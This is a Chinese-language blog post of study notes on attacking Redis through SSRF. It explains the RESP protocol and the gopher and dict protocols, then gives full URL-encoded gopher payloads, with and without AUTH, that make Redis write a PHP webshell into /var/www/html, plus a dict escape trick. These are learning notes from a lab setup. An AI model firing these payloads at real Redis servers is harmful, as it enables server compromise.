1. 程式人生 > 實用技巧 >Redis安全學習

Redis安全學習

Redis安全學習

一直在聽SSRF打Redis,那Redis到底是啥,正式的認真學習一下。

1、Redis是什麼

REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value儲存系統。

Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。

它通常被稱為資料結構伺服器,因為值(value)可以是 字串(String), 雜湊(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等型別。

來源於:https://www.runoob.com/redis/redis-tutorial.html

Redis預設埠為6379

2、Redis的命令

連線命令

​ 本地連線:redis-cli(本地連線後,若存在密碼使用AUTH pass進行驗證)

​ 遠端連線:redis-cli -h host -p port [-a passwd](引數a可選項,如果是沒有密碼的則不需要)

鍵操作

​ 設定鍵值對:set 鍵名 鍵值(例如:set atao xxx-->寫入一個鍵名為atao、鍵值為xxx的內容,執行成功返回OK)

​ 取出鍵值對:get 鍵名(例如:get atao-->取出鍵名為atao的鍵的鍵值,返回鍵中的鍵值)

​ 刪除鍵值對:del 鍵名(例如:del atao-->刪除鍵名為atao的鍵,如果鍵被刪除返回(integer)1,否則將輸出(integer)0)

​ 清空所有資料庫命令:flushall(刪除所有資料庫裡面的所有資料,是所有資料庫,不僅僅是當前資料庫,且此命令永遠不會出現失敗)

​ 同步資料到磁碟上:save(以RDB檔案的方式儲存所有資料的快照,命令執行成功返回OK)

配置操作

​ Redis配置檔名為redis.conf(Windows下名為redis.windows.conf),可以使用CONFIG命令進行檢視。

​ 設定配置檔案:config set 配置項 路徑(配置項如:dir或dbfilename,二者分別是指定本地資料庫存放目錄和指定本地資料庫檔名,配置被正確設定時返回OK,否則將返回錯誤)

​ 更多配置項的內容,可以檢視:https://www.runoob.com/redis/redis-conf.html

這裡介紹的為自己常用的命令,更多命令檢視:http://www.redis.cn/commands.html

3、學習SSRF打Redis的預備知識

Redis安裝過程

​ 參考連結:https://www.cnblogs.com/hunanzp/p/12304622.html

​ 遇到的坑:使用redis-cli時,返回bash: redis-cli:未找到命令,解決方法:在redis資料夾下執行命令:sudo cp src/redis-cli /usr/local/bin/,將redis-cli新增至命令中。

​ 啟動Redis:在目錄/usr/local/redis下執行命令:sudo ./bin/redis-server ./redis.conf

捕捉Redis流量

​ 這裡使用的是tcpdump抓取流量,(遇到了一個小坑,Kali上顯示tcpdump為最新版,但是無命令,更新環境變數:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"後可以正常使用)抓取流量的命令為sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

Redis通訊協議RESP

Redis客戶端使用稱為RESP(Redis序列化協議)的協議與Redis伺服器進行通訊。詳細閱讀:https://redis.io/topics/protocol

RESP在Redis中用作請求-響應協議的方式如下:

- 客戶端將命令作為RESP大容量字串陣列傳送到Redis伺服器。
- 伺服器根據命令實現以RESP型別之一進行回覆。

在RESP中,某些資料的型別取決於第一個位元組:

- 對於簡單字串,答覆的第一個位元組為"+"

  ​	格式:+字串

  ​	注意:字串不能包含CR或者LF(不允許換行)

  ​	eg:"+OK\r\n"

- 對於錯誤,回覆的第一個位元組為"-"

  ​	格式:-錯誤字首 錯誤資訊\r\n

  ​	注意:錯誤資訊不能包含CR或者LF(不允許換行),Errors與Simple Strings相似,不同的是Errors會被當作異常看待

  ​	eg:"-Errors unknow command 'foobar'\r\n"

- 對於整數,答覆的第一個位元組為":"

  ​	格式::數字\r\n

  ​	eg:":10\r\n"

- 對於批量字串(大字串型別Bulk Strings,長度限制512M),答覆的第一個位元組為"$"

  ​	格式:$字串的長度\r\n字串\r\n

  ​	注意:字串不能包含CR或者LF(不允許換行)

  ​	eg:"$7\r\npayload\r\n"

- 對於陣列,回覆的第一個位元組為"*"

  ​	格式:*陣列元素個數\r\n其他型別(結尾不需要\r\n)

  ​	注意:只有元素個數後面的\r\n是屬於該陣列的,結尾的\r\n一般是元素的

  ​	eg:"*0\r\n"——空陣列

  ​		"*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——陣列包含2個元素,分別為A和tao

  ​		"*-1\r\n"——Null陣列

通過上面所述的幾種型別構造命令傳給redis服務端,則服務端會返回相應的內容。

Gopher協議

​ 萬金油協議!!!

​ 語法格式:gopher://<host>:<port>/<gopher_path>_value(host為IP地址;port為指定埠,沒寫的話預設為70埠;"_"是一種資料連線格式,任意字元都行;value為TCP資料流)

​ 如果發起為POST請求,回車換行使用%0D%0A;如果多個引數,引數之間的&也需要進行URL編碼。

GET請求
原始碼
<?php
$a = $_GET['a'];
echo "Hello!".$a; 
?>

下面是我們要請求的TCP資料流
GET /flag.php?a=atao HTTP/1.1
Host: 192.168.159.131

轉成url編碼的格式(最後一句結尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!atao
0


POST請求
原始碼
<?php
$a = $_POST['a'];
echo "Hello!".$a; 
?>

用原來的方式進行請求
GET /flag.php HTTP/1.1
Host: 192.168.159.131

a=atao
這樣會報錯,POST請求需要多加兩個引數Content-Type和Content-Length

修改後為
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

a=atao

轉成url編碼的格式(這次結尾不用加%0d%0a,因為最後是引數)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f


curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!atao
0

Dict協議

​ 在SSRF中,主要是用來檢視埠服務是否開啟的,但是在Redis中如果無法使用Gopher協議,則可以通過該協議進行替代,不過該協議不能進行多行命令執行,所以當Redis存在驗證時無法使用該協議。

​ 語法格式:dict:////<host>:<port>/<value>(host為IP地址;port為指定埠;value為請求內容)

使用命令
curl -g "dict://127.0.0.1:6397/set:atao:xxx"

返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK

抓包看到的
CLIENT libcurl 7.68.0
set atao xxx
QUIT

來自鬱神的解釋
第一行是代表發出的cli的工具和版本
第二行是執行我們請求的命令
第三行是自行退出
從這裡我們就不難看出為啥dict不適合Redis認證的題目了,每次只能執行一條命令,執行完後還會退出,沒有餘力做別的操作
這裡返回第一行報錯了,應該是沒有帶引數而報錯的

4、利用方式

​ Redis未授權訪問漏洞,一般是和SSRF一起出現的。通過SSRF的漏洞來訪問到Redis。

簡單的寫入WebShell

set atao '<?php phpinfo();?>' //寫入php程式碼
config set dir /var/www/html //修改資料庫備份的目錄
config set dbfilename shell.php //修改資料庫備份的檔名
save //備份

上面是Redis需要執行的命令,但是我們是和SSRF一起使用的,所以這裡配合Gopher協議一起使用

通過抓包,Redis通訊如下

RESP協議,下面是一個設定鍵值對和取鍵值對的操作
*3
$3
set
$5
atao1
$4
xxx1
+OK
*2
$3
get
$5
atao1
$4
xxx1

將上面的需要寫入的內容通過RESP協議的格式進行更改
*3
$3
set
$4
atao
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

然後在用url編碼的格式進行傳輸
%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
原因是Redis存在認證,如果沒有認證的話使用上述方式即可,如果存在認證則需要先通過認證才可以進行操作

Redis認證命令為:AUTH password,修改成RESP協議格式如下(這裡直接使用了自己Redis的密碼,設定密碼命令:config set requirepass password)
*2
$4
AUTH
$6
123456

curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
不知道為啥改成這個後,遠端連線就上不了了。嗚嗚嗚,要是有知道的師傅求解釋一下,後來就改成本地打本地了

curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回
+OK 認證過
+OK 修改路徑成功
+OK 修改檔名成功
+OK 寫入鍵值對成功
+OK 儲存成功

cat /var/www/html/shell.php
返回
REDIS0009�      redis-ver5.0.7�
�edis-bits�@�ctime�m�_used-mem��
 aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
雖然存在亂碼,但是php的程式碼是正常的

​ 這類利用方式還有:寫入SSH-KEYGEN公鑰使用私鑰登陸(https://www.mi1k7ea.com/2020/03/05/Redis安全小結/#寫入SSH公鑰直接登入)、反彈shell(https://joychou.org/web/phpssrf.html#directory0259675512790535476)

轉義繞過?截斷

​ 參考:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ

​ 主要用於dict協議中,當dict協議要寫入鍵值對,如:

dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的內容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及後面的內容都沒了

這裡通過對<?等特殊符號進行轉義繞過
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e

好用的工具

https://github.com/xmsec/redis-ssrf

參考連線

http://yulige.top/?p=775

https://joychou.org/web/phpssrf.html

https://www.mi1k7ea.com/2020/03/05/Redis安全小結/

未完待續

​ Redis還有很多利用的方式,比如:主從複製的內容,菜雞還沒學會,先不寫了

本文作者:erR0Ratao

本文連結:https://www.cnblogs.com/erR0Ratao/p/13922232.html